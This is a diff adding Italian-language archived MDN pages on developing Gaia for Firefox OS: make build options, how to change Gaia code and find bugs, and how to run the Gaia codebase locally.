+<p><strong>Nota</strong>: Installando Gaia sul tuo dispositivo utilizzando  <code>make install-gaia</code> / <code>make reset-gaia</code> verrà costruito Gaia con una risoluzione pari a 1x per default. Per specificare una più alta risoluzione dovrai utilizzare le opzioni  <code>GAIA_DEV_PIXELS_PER_PX</code> o <code>GAIA_DPPX</code>  (vedi <a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/make_options_reference#Immagini_ad_alta_risoluzione">Immagini ad alta risoluzione </a>per maggiori dettagli). Quando installi Gaia sul tuo dispositivo in questo modo, dovresti specificare le opzioni rilevanti assieme al fattore di scala del tuo dispositivo, ad esempio <code>make install-gaia GAIA_DEV_PIXELS_PER_PX=1.5</code> per un Flame  (o 2, o 2.5, ecc; trovi i valori di scala nella tabella all'interno di questo articolo <a href="/en-US/Apps/Build/Icon_implementation_for_apps#512_icon_for_device_display">512 icon for device display</a>.)</p>
+</div>
+
+<h2 id="Costruire_app_specifiche">Costruire app specifiche</h2>
+
+<pre class="brush: bash">APP=system make
+
+APP=system make install-gaia</pre>
+
+<p>Se un profilo è già esistente, l'opzione <code>APP </code>ti consente di specificare quale app ricostruire invece di ricostruire e reinstallare tutte le app. Nota che mentre questo comando ti consente di pubblicare il nuovo package e il file di manifest della app sul dispositivo, le modifiche apportate al file di manifest  (nuovi permessi, layout della tastiera, ecc) non verranno recepite da Gecko.</p>
+
+<h2 id="Specificare_una_cartella_per_il_profilo">Specificare una cartella per il profilo</h2>
+
+<p>Puoi specificare una cartella custom per costruire il tuo profilo utilizzando<code> PROFILE_FOLDER</code>, per esempio:</p>
+
+<pre class="brush: bash">PROFILE_FOLDER=profile-b2g-desktop make</pre>
+
+<h2 id="Build_specifiche_per_dispositivi">Build specifiche per dispositivi</h2>
+
+<p>Ci sono alcune opzioni di make che ti consentono di costruire build per differenti device, per differenti scopi.</p>
+
+<h3 id="Creare_una_build_di_Gaia_per_telefono">Creare una build di Gaia per telefono</h3>
+
+<pre class="brush: bash">GAIA_DEVICE_TYPE=phone make</pre>
+
+<p>La lista delle app è quella contenuta nel file /<code>gaia/build/config/phone/apps-engineering.list</code>.</p>
+
+<h3 id="Crea_una_build_di_Gaia_per_tablet">Crea una build di Gaia per tablet</h3>
+
+<pre class="brush: bash">GAIA_DEVICE_TYPE=tablet make</pre>
+
+<p>La lista delle app è quella definita nel file <code>/gaia/build/config/tablet/apps-engineering.list</code>.</p>
+
+<h3 id="Crea_una_build_per_Spark">Crea una build per Spark</h3>
+
+<pre><code>GAIA_DISTRIBUTION_DIR=distros/spark make reset-gaia</code></pre>
+
+<p>Per Installare spark sul tuo dispositivo. L'opzione equivalente per B2G build.sh:</p>
+
+<pre><code>GAIA_DISTRIBUTION_DIR=distros/spark ./build.sh</code></pre>
+
+<h2 id="Differenti_opzioni_di_Build">Differenti opzioni di Build</h2>
+
+<p>Differenti opzioni di make consentono di costruire differenti tipi di build per scopi differenti.</p>
+
+<h3 id="Build_di_produzione">Build di produzione</h3>
+
+<pre class="brush: bash">PRODUCTION=1 make</pre>
+
+<p>Costruisce una build di produzione di Gaia:</p>
+
+<ul>
+ <li>Le app di Gaia vengono eseguite in modalità <em>packaged</em>. Rappresenta la soluzione migliore per le app, ad esempio in termini di permessi, ma rendondo difficoltoso il debugging</li>
+ <li>Le app di test non sono incluse</li>
+ <li>La funzionalità di debugging remoto è spenta per default</li>
+ <li>La schermata di blocco (l<em>ock screen</em>) è abilitata di default (interferisce con le connessioni USB)</li>
+ <li>Marionette è disabilitato</li>
+ <li>L'esperienza utente di primo utilizzo (<em>first time user experience)</em> è abilitata</li>
+ <li>La funzionalità di cache offline è abilitata</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi anche utilizzare l'alias <code>make production</code>.</p>
+</div>
+
+<h3 id="Opzione_di_debug">Opzione di debug</h3>
+
+<pre class="brush: bash">DEBUG=1 make</pre>
+
+<p>Tramite la variabile di <code>DEBUG</code> le app vengono eseguite in modalità <em>hosted</em> su un web server interno su una specifica <code>GAIA_PORT</code>. Rispetto alla modalità di default <em>packaged,</em> in cui le app dovranno essere reinstallate dopo ogni modifica, la modalità hosted semplifica il testing. Utilizzando il profilo all'interno delle più recenti Nightly di Firefox sarà disponibile un pannello specifico per B2G all'interno dei Firefox Developer Tools. Una volta apportata la modifica sarà sufficiente effettuare un refresh del browser per rendere la modifica disponibile sul simulatore.</p>
+
+<p>Inoltre:</p>
+
+<ul>
+ <li>Le app di test sono inlcuse nella build</li>
+ <li>Il debugging remoto è abilitato di default.</li>
+ <li>La schermata di blocco è disabilitata di default (non interferisce con le connessioni USB)</li>
+ <li><a href="/en-US/docs/Mozilla/QA/Marionette">Marionette</a> è abilitato, è prerequisito per eseguire lo <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">unit testing</a> di Gaia</li>
+ <li>L'esperienza utente di primo utilizzo è disabilitata</li>
+ <li>la cache offline non viene utilizzata sebbene viene resa disponibile</li>
+</ul>
+
+<h3 id="Opzione_di_debug_per_dispositivo">Opzione di debug per dispositivo</h3>
+
+<pre class="brush: bash">DEVICE_DEBUG=1 make</pre>
+
+<p>Questa opzione crea un profilo di debug per dispositivo, con lo schermo di blocco disabilitato e la funzione di debugging via ADB abilitata.</p>
+
+<p>In Firefox OS con versione superiore a 1.2 puoi utilizzare questo paramatro per abilitare la funzionalità di debugging attraverso <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>.</p>
+
+<h3 id="Opzione_di_debug_per_desktop">Opzione di debug per desktop</h3>
+
+<pre class="brush: bash">DEBUG=1 DESKTOP=0 make</pre>
+
+<p>Questa opzione crea un profilo di debug che potrà essere eseguita all'interno di <a href="/en-US/Firefox_OS/Using_the_B2G_desktop_client">B2G desktop</a>.</p>
+
+<h3 id="Opzione_per_build_Mozilla_ufficiale">Opzione per build Mozilla ufficiale</h3>
+
+<pre class="brush: bash">MOZILLA_OFFICIAL=1 make</pre>
+
+<p>Utilizza questa opzione per costruire una build con brand Mozilla ufficiale.</p>
+
+<h3 id="Opzione_Dogfood">Opzione Dogfood</h3>
+
+<pre class="brush: bash">DOGFOOD=1 make</pre>
+
+<p>Questa opzione attiva la modalità Dogfood e le relative utility. Per esempio l'app di feedback, che consente di sottomettere feedback facilmente.</p>
+
+<h3 id="Opzione_per_installare_sotto_la_cartella_system">Opzione per installare sotto la cartella system</h3>
+
+<pre class="brush: bash">B2G_SYSTEM_APPS=1 make</pre>
+
+<p>Questa opzione consente di installare le app sotto la cartella <code>/system/b2g</code> invece di <code>/data/local</code>. Dovresti utilizzarla quando lavori su una build utente. Viene automaticamente impostata quando viene eseguito <code>make production</code>. Può essere utilizzata anche per le opzioni <code>install-gaia</code> o <code>reset-gaia</code> .</p>
+
+<h3 id="Opzione_per_distribuzione_commerciale">Opzione per distribuzione commerciale</h3>
+
+<pre class="brush: bash">GAIA_DISTRIBUTION_DIR=./dir</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Leggi l'articolo <a href="/en-US/Firefox_OS/Hacking_Firefox_OS/Market_customizations_guide">Customizzazioni Commerciali</a> per maggiori dettagli.</p>
+</div>
+
+<h2 id="Opzioni_per_sviluppo_e_debugging">Opzioni per sviluppo e debugging</h2>
+
+<p>A scopo di debugging vengono introdotte alcune opzioni specifiche per aggiungere/rimuovere funzionalità o modificare configurazioni/setting.</p>
+
+<h3 id="Abilitare_il_debugging_remoto">Abilitare il debugging remoto</h3>
+
+<pre class="brush: bash">REMOTE_DEBUGGER=1</pre>
+
+<p>Abilita il debugging remoto su dispositivo, analogamente all'utilizzo dell'opzione specifica all'interno del menù delle <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">configurazioni per sviluppatore (developer settings).</a></p>
+
+<h3 id="Opzione_di_ottimizzazione_JavaScript">Opzione di ottimizzazione JavaScript</h3>
+
+<pre class="brush: bash">GAIA_OPTIMIZE=1 make</pre>
+
+<p>Abilita lo step di ottimizzazione del codice JavaScript di Gaia, concatenando/comprimendo i file. Viene automaticamente abilitato quando viene eseguito <code>make production</code>. Può anche essere utilizzato per <code>install-gaia</code> o <code>reset-gaia</code>.</p>
+
+<h3 id="Immagini_ad_alta_risoluzione">Immagini ad alta risoluzione</h3>
+
+<pre class="brush: bash">GAIA_DEV_PIXELS_PER_PX=1.5 make</pre>
+
+<p>Analogamento con:</p>
+
+<pre class="brush: bash">GAIA_DPPX=1.5 make</pre>
+
+<p>Questa opzione sostituisce le immagini con le corrispettive <code>*@1.5x.(gif|jpg|png)</code> se disponibili. Dovresti utilizzare questa opzione come parte del comando <code>make</code>, per esempio:</p>
+
+<pre class="brush: bash">GAIA_DEV_PIXELS_PER_PX=1.5 make reset-gaia
+
+GAIA_DEV_PIXELS_PER_PX=1.5 make install-gaia</pre>
+
+<p>Gaia di default utilizza le seguenti risoluzioni per lo schermo:</p>
+
+<ul>
+ <li>qHD: ~540×960; device pixel ratio = 1.6875</li>
+ <li>WVGA: ~480×800; device pixel ratio = 1.5</li>
+ <li>HBGA (320x240); device pixel ratio = 1</li>
+</ul>
+
+<p>utilizza <code>GAIA_DEV_PIXELS_PER_PX</code> per essere certo che le immagini appaiano limpide su dispositivi qHD e WVGA. Fai riferimento all'articolo <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel" title="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel">un pixel non è un pixel</a> per maggiori informazioni.</p>
+
+<h3 id="Eseguire_i_tesi_di_integrazione">Eseguire i tesi di integrazione</h3>
+
+<p>Puoi eseguire i test di integrazione su Gaia utilizzando make. Vedi <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Automated_testing/Gaia_integration_tests">Gaia integration tests</a> per maggiori dettagli.</p>
+
+<h3 id="Eseguire_i_test_di_performance_Raptor">Eseguire i test di performance Raptor</h3>
+
+<p>Prima di eseguire i test devi configurare il tuo dispositivo per eseguire i test Raptor. Per i dettagli vedi direttamente <a href="https://developer.mozilla.org/en-US/Firefox_OS/Automated_testing/Raptor">Raptor</a>.</p>
+
+<pre class="brush: bash language-html"><code class="language-bash">make raptor</code></pre>
+
+<h3 id="Build_di_profili_per_dispositivi_con_scarsa_memoria">Build di profili per dispositivi con scarsa memoria</h3>
+
+<pre class="brush: bash">GAIA_MEMORY_PROFILE=low make</pre>
+
+<p>Tramite questa opzione viene generato un profilo specifico per dispositivi con scarsa memoria quale ad esempio il Tarako.</p>
+
+<h3 id="Disabilitare_l'esperienza_utente_di_primo_utilizzo_(first_time_use_experience_FTU)">Disabilitare l'esperienza utente di primo utilizzo (first time use experience, FTU)</h3>
+
+<pre class="brush: bash">NOFTU=1
+</pre>
+
+<p>Tramite questa variabile di ambiente viene disabilitata la FTU.</p>
+
+<h3 id="Disabilitare_lo_schermo_di_blocco">Disabilitare lo schermo di blocco</h3>
+
+<p>Puoi disabilitare lo schermo di blocco di Firefox OS utilizzando l'opzione NO_LOCK_SCREEN, per esempio:</p>
+
+<pre class="brush: bash">NO_LOCK_SCREEN=1 make</pre>
+
+<h3 id="Attivare_carichi_di_lavoro_(workloads)">Attivare carichi di lavoro (workloads)</h3>
+
+<p>Le seguenti opzioni permettono a sviluppatori/tester di installare grandi quantità di dati in differenti applicazioni, generalmente su dispositivi nuovi e appena installati.</p>
+
+<p>I comandi da utilizzare (dalla cartella di Gaia) sono:</p>
+
+<pre class="brush: bash">make reference-workload-light</pre>
+
+<ul>
+ <li>200 contatti</li>
+ <li>200 sms</li>
+ <li>50 chiamate nello storico del dialer</li>
+ <li>20 immagini</li>
+ <li>20 canzoni</li>
+ <li>5 video</li>
+</ul>
+
+<pre class="brush: bash">make reference-workload-medium</pre>
+
+<ul>
+ <li>500 contatti</li>
+ <li>500 sms</li>
+ <li>100 chiamate nello storico del dialer</li>
+ <li>50 immagini</li>
+ <li>50 canzoni</li>
+ <li>10 video</li>
+</ul>
+
+<pre class="brush: bash">make reference-workload-heavy</pre>
+
+<ul>
+ <li>1000 contatti</li>
+ <li>1000 sms</li>
+ <li>200 chiamate nello storico del dialer</li>
+ <li>100 immagini</li>
+ <li>100 canzoni</li>
+ <li>20 video</li>
+</ul>
+
+<pre class="brush: bash">make reference-workload-x-heavy</pre>
+
+<ul>
+ <li>2000 contatti</li>
+ <li>2000 sms</li>
+ <li>500 chiamate nello storico del dialer</li>
+ <li>250 immagini</li>
+ <li>250 canzoni</li>
+ <li>50 video</li>
+</ul>
+
+<p>Tramite le variabili di ambiente<code> APP </code>o <code>APPS</code> puoi speficare la singola app o le singole app, ad esempio:</p>
+
+<pre class="brush: bash">APP=sms make reference-workload-light
+APPS="sms communications/contacts" make reference-workload-heavy
+</pre>
+
+<p>La variabile APP può assumere i seguenti valori:</p>
+
+<pre class="brush: bash">APPS="gallery music video communications/contacts sms communications/dialer"</pre>
+
+<p>Per installare canzoni, devi avere installato sul tuo sistema il programma mid3v2. Ad esempio tramite il comando:</p>
+
+<pre class="brush: bash">sudo apt-get install python-mutagen</pre>
+
+<p>Se hai un sistema Fedora o RHEL, utilizza:</p>
+
+<pre class="brush: bash">sudo yum install python-mutagen</pre>
+
+<h3 id="Opzioni_per_la_documentazione">Opzioni per la documentazione</h3>
+
+<p>I documenti di Gaia vengono generati tramite jsdoc3, utilizzando il seguente comando:</p>
+
+<pre class="brush: bash">make docs</pre>
+
+<h3 id="Abilitare_layout_e_dizionario_IME">Abilitare layout e dizionario IME</h3>
+
+<p>Per abilitare tastiera e dizionari IME utilizza il seguente comando:</p>
+
+<pre class="brush: bash">GAIA_KEYBOARD_LAYOUTS=en,zh-Hant-Zhuyin,el,de,fr,zh-Hans-Pinyin make</pre>
+
+<p>Attualmente non vengono distribuiti tutti i layout di default, per via dell'occupazione di spazio disco. Il <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1029951" id="yui_3_7_3_2_1407926266649_781">bug 1029951</a> è stato aperto per disaccoppiare la distribuzione di layout e dizionari (offrendo all'utente la possibilità di scaricare quelli di interesse).</p>
+
+<p>Per favore dai un'occhiata al seguente file <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/keyboard-layouts.json">build/config/keyboard-layouts.json</a> per trovare tutti i layout disponibili.</p>
+
+<article class="localized">
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div style="height: 172px;">
+<div style="border: 1px solid rgb(182, 182, 182); width: 678px; position: fixed; top: 0px;"> </div>
+</div>
+</div>
+</div>
+</article>
+
+<div id="content-fields">
+<article class="localized">
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="cke" dir="ltr" id="cke_id_content" lang="en">
+<div>
+<div id="cke_1_contents" style="height: 8077.37px;"> </div>
+</div>
+</div>
+</div>
+</div>
+</article>
+</div>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/making_gaia_code_changes/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/making_gaia_code_changes/index.html
new file mode 100644
index 0000000000..21c61bfddd
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/making_gaia_code_changes/index.html
@@ -0,0 +1,73 @@
+---
+title: Modificare il codice di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Making_Gaia_code_changes
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - modificare il codice di Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia/Making_Gaia_code_changes
+---
+<div class="summary">
+ <p><span id="result_box" lang="it"><span class="hps">Ora che sai come eseguire Gaia all'interno di Firefox desktop e hai</span> <span class="hps">un certo livello</span> <span class="hps">di comprensione della struttura del </span><span class="hps">codice</span><span>,</span> <span class="hps">dovresti essere</span> <span class="hps">pronto per</span> <span class="hps">iniziare a contribuire</span> <span class="hps">al progetto</span><span>.</span> <span class="hps">In questo articolo</span> <span class="hps">viene descritto come</span> <span class="hps">apportare modifiche</span> <span class="hps">e</span> <span class="hps">dove trovare</span> <span class="hps">i bug</span> <span class="hps">su cui lavorare.</span></span></p>
+</div>
+<h2 id="Come_utilizzare_Git">Come utilizzare Git</h2>
+<ol>
+ <li><span id="result_box" lang="it"><span class="hps">Quando apporti modifiche</span> <span class="hps">a</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">dovresti sempre prendere l'ultima versione dalla master</span></span>:
+  <pre class="brush: bash">cd path/to/gaia
+git checkout master
+git pull upstream master</pre>
+ </li>
+ <li><span id="result_box" lang="it"><span class="hps">Successivamente</span><span>,</span> <span class="hps">fai checkout su un</span> <span class="hps">nuovo branch</span><span>:</span></span>
+  <pre class="brush: bash">git checkout -b my-code-fix</pre>
+ </li>
+ <li><span id="result_box" lang="it"><span class="hps">Infine</span><span>,</span> vai <span class="hps"> al</span> <span class="hps">direttorio </span><code>gaia/apps</code> <span class="hps">e</span> <span class="hps">applica lì le modifiche</span><span>.</span></span></li>
+</ol>
+<h2 id="Esempio_di_modifica_semplice_al_codice">Esempio di modifica semplice al codice</h2>
+<p>Per apportare le modifiche al codice:</p>
+<ol>
+ <li><span id="result_box" lang="it"><span class="hps">Fai le modifiche al codice di Gaia come richiesto e salva.</span></span></li>
+ <li><span lang="it">Arresta </span>Firefox Mulet o il simulatore in WebIDE.</li>
+ <li>Ricostruisci il tuo profilo di Gaia utilizzando make.</li>
+ <li>Riavvia Firefox Mulet o il simulatore in WebIDE.</li>
+</ol>
+<p><span lang="it"><span class="hps">Facciamo qualcosa</span> <span class="hps">di semplice, come</span> <span class="hps">cambiare</span> <span class="hps">il colore del testo</span> <span class="hps">del</span><span class="hps">l'orologio sulla</span> <span class="hps">schermata di blocco</span><span>:</span></span></p>
+<p><img alt="Gaia lockscreen showing the clock display in white text" src="https://mdn.mozillademos.org/files/7929/gaia-lockscreen-clock.png" style="width: 369px; height: 623px; margin: 0px auto; display: block;"></p>
+<ol>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span id="result_box" lang="it"><span class="hps">Il modo migliore per</span> <span class="hps">scoprire</span> <span class="hps">come è impostato</span> <span class="hps">questo stile</span> <span class="hps">è quello di utilizzare</span> <span class="hps">gli</span> <span class="hps">strumenti di sviluppo</span><span>.</span> Premi il taso destro del mouse <span class="hps">(oppure tasto Ctrl + clic su Mac OS X) sull'orologio</span> <span class="hps">in Firefox</span> desktop<span class="hps"> e</span> <span class="hps">seleziona</span> <em>Inspect Element</em> <span class="hps">dal menu contestuale</span><span>.</span></span></div>
+  </div>
+ </li>
+ <li>Puoi scoprire facilmente quale foglio CSS da modificare — <code>gaia/apps/system/lockscreen/style/lockscreen.css</code>  in questo caso — ed effettuare le modifiche che vuoi direttamente sul foglio di stile nel box di destra dello schermo.</li>
+ <li>Quando sei soddisfatto con le modifiche, vai e apporta le modifiche direttamente nel file.</li>
+ <li>Quindi, segui le indicazioni fornite all'inizio di questa sezione per visualizzare le tue modifiche.</li>
+</ol>
+<p><img alt="Gaia lockscreen showing the clock display modified from white to red text" src="https://mdn.mozillademos.org/files/7931/gaia-lockscreen-clock-modified.png" style="width: 366px; height: 622px; margin: 0px auto; display: block;"><br>
+ <br>
+ <br>
+ Limiti di rendering della modalità di esecuzione di Gaia in Firefox desktop: </p>
+<ul>
+ <li>Sebbene il rendering delle app in Firefox Desktop sia abbastanza accurato se paragonato ad un dispositivo reale, potrai comunque notare alcune differenze qua e là.</li>
+ <li>Non tutte le API di dispositivo sono supportate in Firefox desktop; trovi quelle abilitate nel file  <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/preferences.js">preferences.js</a>.</li>
+</ul>
+<h2 id="Dove_puoi_trovare_i_bug_su_cui_lavorare">Dove puoi trovare i bug su cui lavorare</h2>
+<p>Il modo migliore per trovare bug di Firefox OS su cui lavorare è quello di consultare l'applicazione di Josh Matthews <a href="http://www.joshmatthews.net/bugsahoy/?b2g=1">Bugs Ahoy </a>— che raccoglie i bug direttamente dal Bugzilla di Mozilla e li rappresenta in una forma che semplifica la  ricerca e consultazione. Una volta che hai identificato il bug su cui lavorare vai alla pagina di Bugzilla, assegnati il bug utilizzando il campo "assigned to" e inizia a lavorarlo, come indicato sotto.</p>
+<h3 id="Suggerimenti_utili">Suggerimenti utili</h3>
+<ul>
+ <li>Se stai lavorando sui mentored bug, qualcuno del core team di Gaia controllerà i tuoi progressi e ti fornirà aiuto su codice e processo. Se sei agli inizi, lavorare su qualcuno di questi ti potrà essere d'aiuto. Questi bug sono contraddistinti da una nota nel campo "Mentors" nelle pagine di Firefox OS di Bugzilla. Buys Ahoy elenca questi bug.</li>
+ <li>Inoltre, se sei un nuovo utente di Bugzilla, potresti non essere in grado di assegnarti un bug in lavorazione. Nel caso, dopo aver identificato un bug da lavorare, chiedi al mentore se ne è stato assegnato uno, altrimenti chiedi scrivendo direttamente nei commenti.</li>
+ <li>Dopo aver acquisito un po' di esperienza, dovresti chiedere di assegnarti i permessi per poterti assegnare direttamente i bug.</li>
+ <li><code>S</code>e sei un nuovo collaboratore e vuoi iniziare con qualcosa di semplice. potresti  selezionare l'opzione "simple bugs" dell'applicazione Bugs Ahoy. Puoi accedere direttamente tramite il link <a href="http://www.joshmatthews.net/bugsahoy/?b2g=1&amp;simple=1">http://www.joshmatthews.net/bugsahoy/?b2g=1&amp;simple=1</a>.</li>
+ <li>Dovresti salvare le ricerche per i progetti a cui vuoi contribuire. Per esempio la seguente URL ti fornisce l'elenco dei bug aperti sull'app <em>Clock</em> (orologio) di Gaia:</li>
+</ul>
+<p><a href="https://bugzilla.mozilla.org/buglist.cgi?columnlist=product%2Ccf_blocking_b2g%2Cbug_status%2Cresolution%2Cshort_desc&amp;resolution=---&amp;query_based_on=CLOCK&amp;query_format=advanced&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=Gaia%3A%3AClock&amp;product=Boot2Gecko&amp;known_name=CLOCK&amp;list_id=10497922">https://bugzilla.mozilla.org/buglist.cgi?columnlist=product%2Ccf_blocking_b2g%2Cbug_status%2Cresolution%2Cshort_desc&amp;resolution=---&amp;query_based_on=CLOCK&amp;query_format=advanced&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=Gaia%3A%3AClock&amp;product=Boot2Gecko&amp;known_name=CLOCK&amp;list_id=9776392</a></p>
+<h2 id="Vedi_inoltre">Vedi inoltre</h2>
+<ul>
+ <li><a href="https://mozilla.app.box.com/s/wzgsb3lkqglv0dnfdgzs">Gaia powerpoints for visual/interaction specifications</a></li>
+ <li><a href="https://etherpad.mozilla.org/gaia-meeting-notes">Weekly Gaia meeting Etherpad</a></li>
+ <li><a href="https://datazilla.mozilla.org/">Datazilla</a>: Strumento per i test prestazionali di Mozilla<br>
+   </li>
+</ul>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/running_the_gaia_codebase/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/running_the_gaia_codebase/index.html
new file mode 100644
index 0000000000..3f3c9b1964
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/running_the_gaia_codebase/index.html
@@ -0,0 +1,68 @@
+---
+title: Eseguire il codice di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Running_the_Gaia_codebase
+tags:
+  - B2G
+  - Eseguire il codice di Gaia
+  - Firefox OS
+  - Gaia
+  - Guida
+translation_of: Archive/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase
+---
+<div class="summary">
+<p><span id="result_box" lang="it"><span class="hps">Questo articolo</span> descrive <span class="hps">in dettaglio come</span> <span class="hps">eseguire il codice di </span><span class="hps">Gaia</span> <span class="hps">localmente</span> <span class="hps">e quali strumenti</span> <span class="hps">sono disponibili.</span></span></p>
+</div>
+
+<p><span id="result_box" lang="it"><span class="hps">Per cominciare</span><span>,</span> <span class="hps">dobbiamo</span> <span class="hps">sottolineare che</span> <span class="hps">NON </span><span class="hps">devi costruire</span> <span class="hps">Gecko</span><span>,</span> <span class="hps">o</span> <span class="hps">B2G</span><span>,</span> <span class="hps">per</span> <span class="hps">contribuire allo sviluppo di</span> <span class="hps">Gaia</span><span>.</span> <span class="hps">Ti serve</span><span class="hps"> il codice sorgente</span> <span class="hps">di Gaia</span> <span class="hps">e le conoscenze per </span><span class="hps">eseguirlo</span> <span class="hps">e modificarlo.</span></span><br>
+ <br>
+ <span id="result_box" lang="it"><span class="hps">Ci sono</span> <span class="hps">diversi modi</span> <span class="hps">per eseguire</span> <span class="hps">Gaia</span><span>:</span> </span></p>
+
+<ul>
+ <li>Aggiornare la versione di Gaia sul telefono.</li>
+ <li>Avviare Gaia all'interno di B2G Desktop.</li>
+ <li><span id="result_box" lang="it"><span class="hps">Eseguire </span><span class="hps">Gaia</span> <span class="hps">all'interno di</span> <span class="hps">WebIDE</span><span class="hps">.</span></span></li>
+ <li><span id="result_box" lang="it"><span class="hps">Eseguire</span> <span class="hps">Gaia</span> all'interno di <span class="hps">Firefox</span> Mulet per </span>eseguire Gaia sul Desktop.</li>
+</ul>
+
+<p><span id="result_box" lang="it"><span class="hps">Si possono trovare informazioni concise per ciascuno dei metodi sopra citati alla pagina <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia">differenti modalità per eseguire Gaia</a></span><span>,</span> assieme ai <span class="hps">puntamenti alle</span> <span class="hps">informazioni di dettaglio</span> <span class="hps">se richiesto</span><span>.</span> <span class="hps">In</span> <span class="hps">generale,</span> <span class="hps">le modalità sono state ordinate dalla più complessa </span><span class="atn hps">(</span><span>ma</span> <span class="hps">in grado di offrire un'esperienza più realistica</span><span>)</span> <span class="hps">alla</span> <span class="hps">più semplice</span> <span class="atn hps">(</span><span>ma</span> <span class="hps">meno</span> <span class="hps">realistica</span><span>)</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">In</span> <span class="hps">questo</span> <span class="hps">articolo</span> <span class="hps">ci</span> <span class="hps">concentreremo</span> <span class="hps">sull'esecuzione di</span> <span class="hps">Gaia</span> <span class="hps">all'interno</span> di <span class="hps">Firefox</span> Mulet o WebIDE - <span class="hps">per la</span> <span class="hps">maggior parte delle modifiche</span> <span class="hps">che vorrai</span> <span class="hps">apportare al</span> <span class="hps">codice di </span><span class="hps">Gaia</span> <span class="hps">questo</span> metodo <span class="hps">offre la </span>modalità p<span class="hps">iù rapida</span> <span class="hps">per provare gli aggiornamenti</span><span>,</span> <span class="hps">ovviamente </span><span class="hps">alcune funzionalità</span> <span class="atn hps">(</span><span>quali le </span><span class="hps">API</span> <span class="hps">di dispositivo</span> <span class="hps">o le interazioni</span> <span class="hps">con l'hardware</span> <span class="hps">del telefono</span><span>)</span> <span class="hps">richiedono </span><span class="hps">un dispositivo reale</span><span>.</span></span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Per ottenere ulteriore supporto per Gaia, i posti migliori in cui cercare sono rappresentati dai canali IRC di Gaia (vedi <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> per maggiori informazioni) e dalla mailing list di sviluppo <a href="https://lists.mozilla.org/listinfo/dev-gaia">dev-gaia mailing list</a>.</p>
+</div>
+
+<h2 id="Eseguire_il_tuo_build_di_Gaia">Eseguire il tuo build di Gaia</h2>
+
+<ol>
+ <li>Primo, crea una copia dell'alberatura principale del <a href="https://github.com/mozilla-b2g/gaia">repository di Gaia su Github</a>.</li>
+ <li>Quindi, crea una copia locale:
+  <pre class="brush: bash">git clone https://github.com/your-username/gaia.git</pre>
+ </li>
+ <li>Aggiungi il repository di upstream come segue:
+  <pre class="brush: bash">cd gaia
+git remote add upstream https://github.com/mozilla-b2g/gaia</pre>
+ </li>
+ <li>Ora procedi con la creazione di un profilo di Gaia. Eseguendo il comando <code>make</code> all'interno del repository verrà creato un profilo nella cartella <code>profile</code> ottimizzato per il debugging. Verra creata una versione <em>hosted</em> delle app di Gaia che potrà essere servita direttamente dal server HTTPD disponibile in Firefox stesso come estensione. Quando apporterai una modifica sarà sufficiente effettuare un refresh del browser per verificarne il risultato (come vedrai dopo), invece di ricostruire il profilo, ripubblicarlo sul dispositivo, etc. Questa modalità è molto utile per un rapido sviluppo di CSS/JS/HTML.</li>
+ <li>Quindi esegui il profilo di debugging in <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia#Using_Gaia_in_Firefox_Mulet">Mulet </a>o <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia#Using_Gaia_inside_WebIDE_with_a_Firefox_OS_Simulator">WebIDE</a>, tramite le istruzioni riportate.</li>
+</ol>
+
+<h2 id="Troobleshooting_e_problemi_noti">Troobleshooting e problemi noti</h2>
+
+<h3 id="Error_Python_executable_python3_is_v3.x_which_is_not_supported_by_gyp.">Error: Python executable "python3" is v3.x, which is not supported by gyp.</h3>
+
+<p>In alcune distribuzioni Linux (ad esempio Archlinux) la versione di default di python è python3. Per questo motivo <code>npm </code>va in errore quando esegue alcuni comandi (ad esempio durante i test). Per risolvere definitivamente, puoi eseguire il seguente comando:</p>
+
+<pre class="brush: bash">npm config set python python2</pre>
+
+<p>Per ulteriori soluzioni puoi dare un'occhiata a questa <a href="http://stackoverflow.com/questions/20454199/how-to-use-a-different-version-of-python-duing-npm-install">pagina di Stack Overflow</a>.<br>
+ <br>
